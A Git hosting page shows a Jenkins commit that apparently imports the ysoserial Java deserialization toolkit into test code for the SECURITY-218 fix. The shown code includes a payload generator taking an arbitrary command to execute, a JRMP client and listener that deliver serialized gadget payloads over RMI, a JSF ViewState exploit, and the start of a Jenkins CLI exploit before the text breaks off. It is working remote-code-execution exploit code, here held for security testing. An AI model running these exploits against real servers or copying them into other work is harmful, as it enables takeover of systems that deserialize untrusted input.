Skip to content
体验新版
项目
组织
正在加载...
登录
切换导航
打开侧边栏
roginluo
Jenkins
提交
8395b78c
J
Jenkins
项目概览
roginluo
/
Jenkins
通知
1
Star
0
Fork
0
代码
文件
提交
分支
Tags
贡献者
分支图
Diff
Issue
0
列表
看板
标记
里程碑
合并请求
0
DevOps
流水线
流水线任务
计划
Wiki
0
Wiki
分析
仓库
DevOps
项目成员
Pages
J
Jenkins
项目概览
项目概览
详情
发布
仓库
仓库
文件
提交
分支
标签
贡献者
分支图
比较
Issue
0
Issue
0
列表
看板
标记
里程碑
合并请求
0
合并请求
0
Pages
DevOps
DevOps
流水线
流水线任务
计划
分析
分析
仓库分析
DevOps
Wiki
0
Wiki
成员
成员
收起侧边栏
关闭侧边栏
动态
分支图
创建新Issue
流水线任务
提交
Issue看板
体验新版 GitCode,发现更多精彩内容 >>
提交
8395b78c
编写于
11月 11, 2016
作者:
S
Sam Van Oort
浏览文件
操作
浏览文件
下载
电子邮件补丁
差异文件
Mostly working ysoserial updates
上级
0f5e70f1
变更
43
显示空白变更内容
内联
并排
Showing
43 changed file
with
3487 addition
and
5 deletion
+3487
-5
test/pom.xml
test/pom.xml
+5
-0
test/src/test/java/jenkins/security/security218/ysoserial/Deserializer.java
.../jenkins/security/security218/ysoserial/Deserializer.java
+34
-0
test/src/test/java/jenkins/security/security218/ysoserial/GeneratePayload.java
...nkins/security/security218/ysoserial/GeneratePayload.java
+66
-0
test/src/test/java/jenkins/security/security218/ysoserial/Serializer.java
...va/jenkins/security/security218/ysoserial/Serializer.java
+30
-0
test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClassLoadingListener.java
...curity218/ysoserial/exploit/JRMPClassLoadingListener.java
+50
-0
test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClient.java
...ns/security/security218/ysoserial/exploit/JRMPClient.java
+141
-0
test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPListener.java
.../security/security218/ysoserial/exploit/JRMPListener.java
+316
-0
test/src/test/java/jenkins/security/security218/ysoserial/exploit/JSF.java
...a/jenkins/security/security218/ysoserial/exploit/JSF.java
+80
-0
test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsCLI.java
...ns/security/security218/ysoserial/exploit/JenkinsCLI.java
+124
-0
test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsListener.java
...curity/security218/ysoserial/exploit/JenkinsListener.java
+215
-0
test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsReverse.java
...ecurity/security218/ysoserial/exploit/JenkinsReverse.java
+80
-0
test/src/test/java/jenkins/security/security218/ysoserial/exploit/RMIRegistryExploit.java
...ity/security218/ysoserial/exploit/RMIRegistryExploit.java
+52
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/BeanShell1.java
...s/security/security218/ysoserial/payloads/BeanShell1.java
+51
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsBeanutils1.java
...ity/security218/ysoserial/payloads/CommonsBeanutils1.java
+42
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections3.java
...y/security218/ysoserial/payloads/CommonsCollections3.java
+66
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections4.java
...y/security218/ysoserial/payloads/CommonsCollections4.java
+62
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections5.java
...y/security218/ysoserial/payloads/CommonsCollections5.java
+87
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/CommonsCollections6.java
...y/security218/ysoserial/payloads/CommonsCollections6.java
+107
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/DynamicDependencies.java
...y/security218/ysoserial/payloads/DynamicDependencies.java
+10
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/FileUpload1.java
.../security/security218/ysoserial/payloads/FileUpload1.java
+112
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPClient.java
...s/security/security218/ysoserial/payloads/JRMPClient.java
+82
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/JRMPListener.java
...security/security218/ysoserial/payloads/JRMPListener.java
+55
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/JSON1.java
...enkins/security/security218/ysoserial/payloads/JSON1.java
+119
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/JavassistWeld1.java
...curity/security218/ysoserial/payloads/JavassistWeld1.java
+79
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jdk7u21.java
...kins/security/security218/ysoserial/payloads/Jdk7u21.java
+93
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/Jython1.java
...kins/security/security218/ysoserial/payloads/Jython1.java
+106
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/MozillaRhino1.java
...ecurity/security218/ysoserial/payloads/MozillaRhino1.java
+66
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces1.java
...ins/security/security218/ysoserial/payloads/Myfaces1.java
+92
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces2.java
...ins/security/security218/ysoserial/payloads/Myfaces2.java
+64
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/ObjectPayload.java
...ecurity/security218/ysoserial/payloads/ObjectPayload.java
+93
-5
test/src/test/java/jenkins/security/security218/ysoserial/payloads/ReleaseableObjectPayload.java
...urity218/ysoserial/payloads/ReleaseableObjectPayload.java
+11
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring2.java
...kins/security/security218/ysoserial/payloads/Spring2.java
+75
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/Wicket1.java
...kins/security/security218/ysoserial/payloads/Wicket1.java
+111
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/Dependencies.java
...curity218/ysoserial/payloads/annotation/Dependencies.java
+24
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/PayloadTest.java
...ecurity218/ysoserial/payloads/annotation/PayloadTest.java
+19
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/ClassFiles.java
...urity/security218/ysoserial/payloads/util/ClassFiles.java
+44
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/Gadgets.java
...security/security218/ysoserial/payloads/util/Gadgets.java
+156
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/JavaVersion.java
...rity/security218/ysoserial/payloads/util/JavaVersion.java
+36
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/PayloadRunner.java
...ty/security218/ysoserial/payloads/util/PayloadRunner.java
+44
-0
test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/Reflections.java
...rity/security218/ysoserial/payloads/util/Reflections.java
+53
-0
test/src/test/java/jenkins/security/security218/ysoserial/secmgr/DelegateSecurityManager.java
...security218/ysoserial/secmgr/DelegateSecurityManager.java
+215
-0
test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ExecCheckingSecurityManager.java
...rity218/ysoserial/secmgr/ExecCheckingSecurityManager.java
+87
-0
test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ThreadLocalSecurityManager.java
...urity218/ysoserial/secmgr/ThreadLocalSecurityManager.java
+33
-0
未找到文件。
test/pom.xml
浏览文件 @
8395b78c
...
...
@@ -183,6 +183,11 @@ THE SOFTWARE.
<artifactId>
mockito-core
</artifactId>
<scope>
test
</scope>
</dependency>
<dependency>
<groupId>
org.reflections
</groupId>
<artifactId>
reflections
</artifactId>
<version>
0.9.9
</version>
</dependency>
<dependency>
<groupId>
org.netbeans.modules
</groupId>
<artifactId>
org-netbeans-insane
</artifactId>
...
...
test/src/test/java/jenkins/security/security218/ysoserial/Deserializer.java
0 → 100755
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial
;
import
java.io.ByteArrayInputStream
;
import
java.io.File
;
import
java.io.FileInputStream
;
import
java.io.IOException
;
import
java.io.InputStream
;
import
java.io.ObjectInputStream
;
import
java.util.concurrent.Callable
;
public
class
Deserializer
implements
Callable
<
Object
>
{
private
final
byte
[]
bytes
;
public
Deserializer
(
byte
[]
bytes
)
{
this
.
bytes
=
bytes
;
}
public
Object
call
()
throws
Exception
{
return
deserialize
(
bytes
);
}
public
static
Object
deserialize
(
final
byte
[]
serialized
)
throws
IOException
,
ClassNotFoundException
{
final
ByteArrayInputStream
in
=
new
ByteArrayInputStream
(
serialized
);
return
deserialize
(
in
);
}
public
static
Object
deserialize
(
final
InputStream
in
)
throws
ClassNotFoundException
,
IOException
{
final
ObjectInputStream
objIn
=
new
ObjectInputStream
(
in
);
return
objIn
.
readObject
();
}
public
static
void
main
(
String
[]
args
)
throws
ClassNotFoundException
,
IOException
{
final
InputStream
in
=
args
.
length
==
0
?
System
.
in
:
new
FileInputStream
(
new
File
(
args
[
0
]));
Object
object
=
deserialize
(
in
);
}
}
\ No newline at end of file
test/src/test/java/jenkins/security/security218/ysoserial/GeneratePayload.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial
;
import
java.io.PrintStream
;
import
java.util.ArrayList
;
import
java.util.Arrays
;
import
java.util.Collections
;
import
java.util.Comparator
;
import
java.util.List
;
import
jenkins.security.security218.ysoserial.payloads.ObjectPayload
;
import
jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils
;
import
jenkins.security.security218.ysoserial.payloads.annotation.Dependencies
;
@SuppressWarnings
(
"rawtypes"
)
public
class
GeneratePayload
{
private
static
final
int
INTERNAL_ERROR_CODE
=
70
;
private
static
final
int
USAGE_CODE
=
64
;
public
static
void
main
(
final
String
[]
args
)
{
if
(
args
.
length
!=
2
)
{
printUsage
();
System
.
exit
(
USAGE_CODE
);
}
final
String
payloadType
=
args
[
0
];
final
String
command
=
args
[
1
];
final
Class
<?
extends
ObjectPayload
>
payloadClass
=
Utils
.
getPayloadClass
(
payloadType
);
if
(
payloadClass
==
null
)
{
System
.
err
.
println
(
"Invalid payload type '"
+
payloadType
+
"'"
);
printUsage
();
System
.
exit
(
USAGE_CODE
);
return
;
// make null analysis happy
}
try
{
final
ObjectPayload
payload
=
payloadClass
.
newInstance
();
final
Object
object
=
payload
.
getObject
(
command
);
PrintStream
out
=
System
.
out
;
Serializer
.
serialize
(
object
,
out
);
ObjectPayload
.
Utils
.
releasePayload
(
payload
,
object
);
}
catch
(
Throwable
e
)
{
System
.
err
.
println
(
"Error while generating or serializing payload"
);
e
.
printStackTrace
();
System
.
exit
(
INTERNAL_ERROR_CODE
);
}
System
.
exit
(
0
);
}
private
static
void
printUsage
()
{
System
.
err
.
println
(
"Y SO SERIAL?"
);
System
.
err
.
println
(
"Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'"
);
System
.
err
.
println
(
"\tAvailable payload types:"
);
final
List
<
Class
<?
extends
ObjectPayload
>>
payloadClasses
=
new
ArrayList
<
Class
<?
extends
ObjectPayload
>>(
ObjectPayload
.
Utils
.
getPayloadClasses
());
Collections
.
sort
(
payloadClasses
,
new
ToStringComparator
());
// alphabetize
for
(
Class
<?
extends
ObjectPayload
>
payloadClass
:
payloadClasses
)
{
System
.
err
.
println
(
"\t\t"
+
payloadClass
.
getSimpleName
()
+
" "
+
Arrays
.
asList
(
Dependencies
.
Utils
.
getDependencies
(
payloadClass
)));
}
}
public
static
class
ToStringComparator
implements
Comparator
<
Object
>
{
public
int
compare
(
Object
o1
,
Object
o2
)
{
return
o1
.
toString
().
compareTo
(
o2
.
toString
());
}
}
}
test/src/test/java/jenkins/security/security218/ysoserial/Serializer.java
0 → 100755
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial
;
import
java.io.ByteArrayOutputStream
;
import
java.io.IOException
;
import
java.io.ObjectOutputStream
;
import
java.io.OutputStream
;
import
java.util.concurrent.Callable
;
public
class
Serializer
implements
Callable
<
byte
[]>
{
private
final
Object
object
;
public
Serializer
(
Object
object
)
{
this
.
object
=
object
;
}
public
byte
[]
call
()
throws
Exception
{
return
serialize
(
object
);
}
public
static
byte
[]
serialize
(
final
Object
obj
)
throws
IOException
{
final
ByteArrayOutputStream
out
=
new
ByteArrayOutputStream
();
serialize
(
obj
,
out
);
return
out
.
toByteArray
();
}
public
static
void
serialize
(
final
Object
obj
,
final
OutputStream
out
)
throws
IOException
{
final
ObjectOutputStream
objOut
=
new
ObjectOutputStream
(
out
);
objOut
.
writeObject
(
obj
);
}
}
\ No newline at end of file
test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClassLoadingListener.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.exploit
;
import
java.net.URL
;
/**
* JRMP listener triggering RMI remote classloading
*
* Opens up an JRMP listener that will deliver a remote classpath class to the calling client.
*
* Mostly CVE-2013-1537 (presumably, does not state details) with the difference that you don't need
* access to an RMI socket when you can deliver {@link ysoserial.payloads.JRMPClient}.
*
* This only works if
* - the remote end is running with a security manager
* - java.rmi.server.useCodebaseOnly=false (default until 7u21)
* - the remote has the proper permissions to remotely load the class (mostly URLPermission)
*
* and, of course, the payload class is then run under the security manager with a remote codebase
* so either the policy needs to allow whatever you want to do in the payload or you need to combine
* with a security manager bypass exploit (wouldn't be the first time).
*
* @author mbechler
*
*/
public
class
JRMPClassLoadingListener
{
public
static
final
void
main
(
final
String
[]
args
)
{
if
(
args
.
length
<
3
)
{
System
.
err
.
println
(
JRMPClassLoadingListener
.
class
.
getName
()
+
" <port> <url> <className>"
);
System
.
exit
(-
1
);
return
;
}
try
{
int
port
=
Integer
.
parseInt
(
args
[
0
]);
System
.
err
.
println
(
"* Opening JRMP listener on "
+
port
);
JRMPListener
c
=
new
JRMPListener
(
port
,
args
[
2
],
new
URL
(
args
[
1
]));
c
.
run
();
}
catch
(
Exception
e
)
{
System
.
err
.
println
(
"Listener error"
);
e
.
printStackTrace
(
System
.
err
);
}
}
}
test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPClient.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.exploit
;
import
java.io.DataOutputStream
;
import
java.io.IOException
;
import
java.io.ObjectOutputStream
;
import
java.io.OutputStream
;
import
java.net.InetSocketAddress
;
import
java.net.Socket
;
import
java.net.SocketException
;
import
java.net.URL
;
import
java.net.URLClassLoader
;
import
java.net.UnknownHostException
;
import
javax.net.SocketFactory
;
import
sun.rmi.transport.TransportConstants
;
import
jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils
;
/**
* Generic JRMP client
*
* Pretty much the same thing as {@link RMIRegistryExploit} but
* - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
* - not deserializing anything (so you don't get yourself exploited ;))
*
* @author mbechler
*
*/
@SuppressWarnings
(
{
"restriction"
}
)
public
class
JRMPClient
{
public
static
final
void
main
(
final
String
[]
args
)
{
if
(
args
.
length
<
4
)
{
System
.
err
.
println
(
JRMPClient
.
class
.
getName
()
+
" <host> <port> <payload_type> <payload_arg>"
);
System
.
exit
(-
1
);
}
Object
payloadObject
=
Utils
.
makePayloadObject
(
args
[
2
],
args
[
3
]);
String
hostname
=
args
[
0
];
int
port
=
Integer
.
parseInt
(
args
[
1
]);
try
{
System
.
err
.
println
(
String
.
format
(
"* Opening JRMP socket %s:%d"
,
hostname
,
port
));
makeDGCCall
(
hostname
,
port
,
payloadObject
);
}
catch
(
Exception
e
)
{
e
.
printStackTrace
(
System
.
err
);
}
Utils
.
releasePayload
(
args
[
2
],
payloadObject
);
}
public
static
void
makeDGCCall
(
String
hostname
,
int
port
,
Object
payloadObject
)
throws
IOException
,
UnknownHostException
,
SocketException
{
InetSocketAddress
isa
=
new
InetSocketAddress
(
hostname
,
port
);
Socket
s
=
null
;
DataOutputStream
dos
=
null
;
try
{
s
=
SocketFactory
.
getDefault
().
createSocket
(
hostname
,
port
);
s
.
setKeepAlive
(
true
);
s
.
setTcpNoDelay
(
true
);
OutputStream
os
=
s
.
getOutputStream
();
dos
=
new
DataOutputStream
(
os
);
dos
.
writeInt
(
TransportConstants
.
Magic
);
dos
.
writeShort
(
TransportConstants
.
Version
);
dos
.
writeByte
(
TransportConstants
.
SingleOpProtocol
);
dos
.
write
(
TransportConstants
.
Call
);
@SuppressWarnings
(
"resource"
)
final
ObjectOutputStream
objOut
=
new
MarshalOutputStream
(
dos
);
objOut
.
writeLong
(
2
);
// DGC
objOut
.
writeInt
(
0
);
objOut
.
writeLong
(
0
);
objOut
.
writeShort
(
0
);
objOut
.
writeInt
(
1
);
// dirty
objOut
.
writeLong
(-
669196253586618813L
);
objOut
.
writeObject
(
payloadObject
);
os
.
flush
();
}
finally
{
if
(
dos
!=
null
)
{
dos
.
close
();
}
if
(
s
!=
null
)
{
s
.
close
();
}
}
}
static
final
class
MarshalOutputStream
extends
ObjectOutputStream
{
private
URL
sendUrl
;
public
MarshalOutputStream
(
OutputStream
out
,
URL
u
)
throws
IOException
{
super
(
out
);
this
.
sendUrl
=
u
;
}
MarshalOutputStream
(
OutputStream
out
)
throws
IOException
{
super
(
out
);
}
@Override
protected
void
annotateClass
(
Class
<?>
cl
)
throws
IOException
{
if
(
this
.
sendUrl
!=
null
)
{
writeObject
(
this
.
sendUrl
.
toString
());
}
else
if
(
!
(
cl
.
getClassLoader
()
instanceof
URLClassLoader
)
)
{
writeObject
(
null
);
}
else
{
URL
[]
us
=
(
(
URLClassLoader
)
cl
.
getClassLoader
()
).
getURLs
();
String
cb
=
""
;
for
(
URL
u
:
us
)
{
cb
+=
u
.
toString
();
}
writeObject
(
cb
);
}
}
/**
* Serializes a location from which to load the specified class.
*/
@Override
protected
void
annotateProxyClass
(
Class
<?>
cl
)
throws
IOException
{
annotateClass
(
cl
);
}
}
}
test/src/test/java/jenkins/security/security218/ysoserial/exploit/JRMPListener.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.exploit
;
import
java.io.BufferedInputStream
;
import
java.io.BufferedOutputStream
;
import
java.io.DataInputStream
;
import
java.io.DataOutputStream
;
import
java.io.IOException
;
import
java.io.InputStream
;
import
java.io.ObjectInputStream
;
import
java.io.ObjectOutputStream
;
import
java.io.ObjectStreamClass
;
import
java.io.OutputStream
;
import
java.io.Serializable
;
import
java.net.InetSocketAddress
;
import
java.net.ServerSocket
;
import
java.net.Socket
;
import
java.net.SocketException
;
import
java.net.URL
;
import
java.rmi.MarshalException
;
import
java.rmi.server.ObjID
;
import
java.rmi.server.UID
;
import
java.util.Arrays
;
import
javax.management.BadAttributeValueExpException
;
import
javax.net.ServerSocketFactory
;
import
javassist.ClassClassPath
;
import
javassist.ClassPool
;
import
javassist.CtClass
;
import
sun.rmi.transport.TransportConstants
;
import
jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils
;
import
jenkins.security.security218.ysoserial.payloads.util.Reflections
;
/**
* Generic JRMP listener
*
* Opens up an JRMP listener that will deliver the specified payload to any
* client connecting to it and making a call.
*
* @author mbechler
*
*/
@SuppressWarnings
(
{
"restriction"
}
)
public
class
JRMPListener
implements
Runnable
{
private
int
port
;
private
Object
payloadObject
;
private
ServerSocket
ss
;
private
Object
waitLock
=
new
Object
();
private
boolean
exit
;
private
boolean
hadConnection
;
private
URL
classpathUrl
;
public
JRMPListener
(
int
port
,
Object
payloadObject
)
throws
NumberFormatException
,
IOException
{
this
.
port
=
port
;
this
.
payloadObject
=
payloadObject
;
this
.
ss
=
ServerSocketFactory
.
getDefault
().
createServerSocket
(
this
.
port
);
}
public
JRMPListener
(
int
port
,
String
className
,
URL
classpathUrl
)
throws
IOException
{
this
.
port
=
port
;
this
.
payloadObject
=
makeDummyObject
(
className
);
this
.
classpathUrl
=
classpathUrl
;
this
.
ss
=
ServerSocketFactory
.
getDefault
().
createServerSocket
(
this
.
port
);
}
public
boolean
waitFor
(
int
i
)
{
try
{
if
(
this
.
hadConnection
)
{
return
true
;
}
System
.
err
.
println
(
"Waiting for connection"
);
synchronized
(
this
.
waitLock
)
{
this
.
waitLock
.
wait
(
i
);
}
return
this
.
hadConnection
;
}
catch
(
InterruptedException
e
)
{
return
false
;
}
}
/**
*
*/
public
void
close
()
{
this
.
exit
=
true
;
try
{
this
.
ss
.
close
();
}
catch
(
IOException
e
)
{}
synchronized
(
this
.
waitLock
)
{
this
.
waitLock
.
notify
();
}
}
public
static
final
void
main
(
final
String
[]
args
)
{
if
(
args
.
length
<
3
)
{
System
.
err
.
println
(
JRMPListener
.
class
.
getName
()
+
" <port> <payload_type> <payload_arg>"
);
System
.
exit
(-
1
);
return
;
}
final
Object
payloadObject
=
Utils
.
makePayloadObject
(
args
[
1
],
args
[
2
]);
try
{
int
port
=
Integer
.
parseInt
(
args
[
0
]);
System
.
err
.
println
(
"* Opening JRMP listener on "
+
port
);
JRMPListener
c
=
new
JRMPListener
(
port
,
payloadObject
);
c
.
run
();
}
catch
(
Exception
e
)
{
System
.
err
.
println
(
"Listener error"
);
e
.
printStackTrace
(
System
.
err
);
}
Utils
.
releasePayload
(
args
[
1
],
payloadObject
);
}
public
void
run
()
{
try
{
Socket
s
=
null
;
try
{
while
(
!
this
.
exit
&&
(
s
=
this
.
ss
.
accept
()
)
!=
null
)
{
try
{
s
.
setSoTimeout
(
5000
);
InetSocketAddress
remote
=
(
InetSocketAddress
)
s
.
getRemoteSocketAddress
();
System
.
err
.
println
(
"Have connection from "
+
remote
);
InputStream
is
=
s
.
getInputStream
();
InputStream
bufIn
=
is
.
markSupported
()
?
is
:
new
BufferedInputStream
(
is
);
// Read magic (or HTTP wrapper)
bufIn
.
mark
(
4
);
DataInputStream
in
=
new
DataInputStream
(
bufIn
);
int
magic
=
in
.
readInt
();
short
version
=
in
.
readShort
();
if
(
magic
!=
TransportConstants
.
Magic
||
version
!=
TransportConstants
.
Version
)
{
s
.
close
();
continue
;
}
OutputStream
sockOut
=
s
.
getOutputStream
();
BufferedOutputStream
bufOut
=
new
BufferedOutputStream
(
sockOut
);
DataOutputStream
out
=
new
DataOutputStream
(
bufOut
);
byte
protocol
=
in
.
readByte
();
switch
(
protocol
)
{
case
TransportConstants
.
StreamProtocol
:
out
.
writeByte
(
TransportConstants
.
ProtocolAck
);
if
(
remote
.
getHostName
()
!=
null
)
{
out
.
writeUTF
(
remote
.
getHostName
());
}
else
{
out
.
writeUTF
(
remote
.
getAddress
().
toString
());
}
out
.
writeInt
(
remote
.
getPort
());
out
.
flush
();
in
.
readUTF
();
in
.
readInt
();
case
TransportConstants
.
SingleOpProtocol
:
doMessage
(
s
,
in
,
out
,
this
.
payloadObject
);
break
;
default
:
case
TransportConstants
.
MultiplexProtocol
:
System
.
err
.
println
(
"Unsupported protocol"
);
s
.
close
();
continue
;
}
bufOut
.
flush
();
out
.
flush
();
}
catch
(
InterruptedException
e
)
{
return
;
}
catch
(
Exception
e
)
{
e
.
printStackTrace
(
System
.
err
);
}
finally
{
System
.
err
.
println
(
"Closing connection"
);
s
.
close
();
}
}
}
finally
{
if
(
s
!=
null
)
{
s
.
close
();
}
if
(
this
.
ss
!=
null
)
{
this
.
ss
.
close
();
}
}
}
catch
(
SocketException
e
)
{
return
;
}
catch
(
Exception
e
)
{
e
.
printStackTrace
(
System
.
err
);
}
}
private
void
doMessage
(
Socket
s
,
DataInputStream
in
,
DataOutputStream
out
,
Object
payload
)
throws
Exception
{
System
.
err
.
println
(
"Reading message..."
);
int
op
=
in
.
read
();
switch
(
op
)
{
case
TransportConstants
.
Call
:
// service incoming RMI call
doCall
(
in
,
out
,
payload
);
break
;
case
TransportConstants
.
Ping
:
// send ack for ping
out
.
writeByte
(
TransportConstants
.
PingAck
);
break
;
case
TransportConstants
.
DGCAck
:
UID
u
=
UID
.
read
(
in
);
break
;
default
:
throw
new
IOException
(
"unknown transport op "
+
op
);
}
s
.
close
();
}
private
void
doCall
(
DataInputStream
in
,
DataOutputStream
out
,
Object
payload
)
throws
Exception
{
ObjectInputStream
ois
=
new
ObjectInputStream
(
in
)
{
@Override
protected
Class
<?>
resolveClass
(
ObjectStreamClass
desc
)
throws
IOException
,
ClassNotFoundException
{
if
(
"[Ljava.rmi.server.ObjID;"
.
equals
(
desc
.
getName
()))
{
return
ObjID
[].
class
;
}
else
if
(
"java.rmi.server.ObjID"
.
equals
(
desc
.
getName
()))
{
return
ObjID
.
class
;
}
else
if
(
"java.rmi.server.UID"
.
equals
(
desc
.
getName
()))
{
return
UID
.
class
;
}
throw
new
IOException
(
"Not allowed to read object"
);
}
};
ObjID
read
;
try
{
read
=
ObjID
.
read
(
ois
);
}
catch
(
java
.
io
.
IOException
e
)
{
throw
new
MarshalException
(
"unable to read objID"
,
e
);
}
if
(
read
.
hashCode
()
==
2
)
{
ois
.
readInt
();
// method
ois
.
readLong
();
// hash
System
.
err
.
println
(
"Is DGC call for "
+
Arrays
.
toString
((
ObjID
[])
ois
.
readObject
()));
}
System
.
err
.
println
(
"Sending return with payload for obj "
+
read
);
out
.
writeByte
(
TransportConstants
.
Return
);
// transport op
ObjectOutputStream
oos
=
new
JRMPClient
.
MarshalOutputStream
(
out
,
this
.
classpathUrl
);
oos
.
writeByte
(
TransportConstants
.
ExceptionalReturn
);
new
UID
().
write
(
oos
);
BadAttributeValueExpException
ex
=
new
BadAttributeValueExpException
(
null
);
Reflections
.
setFieldValue
(
ex
,
"val"
,
payload
);
oos
.
writeObject
(
ex
);
oos
.
flush
();
out
.
flush
();
this
.
hadConnection
=
true
;
synchronized
(
this
.
waitLock
)
{
this
.
waitLock
.
notifyAll
();
}
}
protected
static
Object
makeDummyObject
(
String
className
)
{
try
{
ClassLoader
isolation
=
new
ClassLoader
()
{};
ClassPool
cp
=
new
ClassPool
();
cp
.
insertClassPath
(
new
ClassClassPath
(
Dummy
.
class
));
CtClass
clazz
=
cp
.
get
(
Dummy
.
class
.
getName
());
clazz
.
setName
(
className
);
return
clazz
.
toClass
(
isolation
).
newInstance
();
}
catch
(
Exception
e
)
{
e
.
printStackTrace
();
return
new
byte
[
0
];
}
}
public
static
class
Dummy
implements
Serializable
{
private
static
final
long
serialVersionUID
=
1L
;
}
}
test/src/test/java/jenkins/security/security218/ysoserial/exploit/JSF.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.exploit
;
import
java.io.ByteArrayOutputStream
;
import
java.io.ObjectOutputStream
;
import
java.io.OutputStream
;
import
java.net.HttpURLConnection
;
import
java.net.URL
;
import
java.net.URLConnection
;
import
java.net.URLEncoder
;
import
org.apache.commons.codec.binary.Base64
;
import
jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils
;
/**
* JSF view state exploit
*
* Delivers a gadget payload via JSF ViewState token.
*
* This will only work if ViewState encryption/mac is disabled.
*
* While it has been long known that client side state saving
* with encryption disabled leads to RCE via EL injection,
* this of course also works with deserialization gadgets.
*
* Also, it turns out that MyFaces is vulnerable to this even when
* using server-side state saving
* (yes, please, let's (de-)serialize a String as an Object).
*
* @author mbechler
*
*/
public
class
JSF
{
public
static
void
main
(
String
[]
args
)
{
if
(
args
.
length
<
3
)
{
System
.
err
.
println
(
JSF
.
class
.
getName
()
+
" <view_url> <payload_type> <payload_arg>"
);
System
.
exit
(-
1
);
}
final
Object
payloadObject
=
Utils
.
makePayloadObject
(
args
[
1
],
args
[
2
]);
try
{
URL
u
=
new
URL
(
args
[
0
]);
URLConnection
c
=
u
.
openConnection
();
if
(
!
(
c
instanceof
HttpURLConnection
)
)
{
throw
new
IllegalArgumentException
(
"Not a HTTP url"
);
}
HttpURLConnection
hc
=
(
HttpURLConnection
)
c
;
hc
.
setDoOutput
(
true
);
hc
.
setRequestMethod
(
"POST"
);
hc
.
setRequestProperty
(
"Content-Type"
,
"application/x-www-form-urlencoded"
);
OutputStream
os
=
hc
.
getOutputStream
();
ByteArrayOutputStream
bos
=
new
ByteArrayOutputStream
();
ObjectOutputStream
oos
=
new
ObjectOutputStream
(
bos
);
oos
.
writeObject
(
payloadObject
);
oos
.
close
();
byte
[]
data
=
bos
.
toByteArray
();
String
requestBody
=
"javax.faces.ViewState="
+
URLEncoder
.
encode
(
Base64
.
encodeBase64String
(
data
),
"US-ASCII"
);
os
.
write
(
requestBody
.
getBytes
(
"US-ASCII"
));
os
.
close
();
System
.
err
.
println
(
"Have response code "
+
hc
.
getResponseCode
()
+
" "
+
hc
.
getResponseMessage
());
}
catch
(
Exception
e
)
{
e
.
printStackTrace
(
System
.
err
);
}
Utils
.
releasePayload
(
args
[
1
],
payloadObject
);
}
}
test/src/test/java/jenkins/security/security218/ysoserial/exploit/JenkinsCLI.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.exploit
;
import
java.io.DataOutputStream
;
import
java.io.IOException
;
import
java.io.OutputStream
;
import
java.lang.reflect.Constructor
;
import
java.lang.reflect.InvocationTargetException
;
import
java.lang.reflect.Method
;
import
java.net.HttpURLConnection
;
import
java.net.InetSocketAddress
;
import
java.net.MalformedURLException
;
import
java.net.Socket
;
import
java.net.SocketException
;
import
java.net.URL
;
import
java.net.URLConnection
;
import
java.util.concurrent.ExecutorService
;
import
java.util.concurrent.Executors
;
import
java.util.concurrent.ThreadFactory
;
import
javax.net.SocketFactory
;
import
hudson.remoting.Callable
;
import
hudson.remoting.Channel
;
import
hudson.remoting.Channel.Mode
;
import
hudson.remoting.ChannelBuilder
;
import
jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils
;
/**
* Jenkins CLI client
*
* Jenkins unfortunately is still using a custom serialization based
* protocol for remote communications only protected by a blacklisting
* application level filter.
*
* This is a generic client delivering a gadget chain payload via that protocol.
*
* @author mbechler
*
*/
public
class
JenkinsCLI
{
public
static
final
void
main
(
final
String
[]
args
)
{
if
(
args
.
length
<
3
)
{
System
.
err
.
println
(
JenkinsCLI
.
class
.
getName
()
+
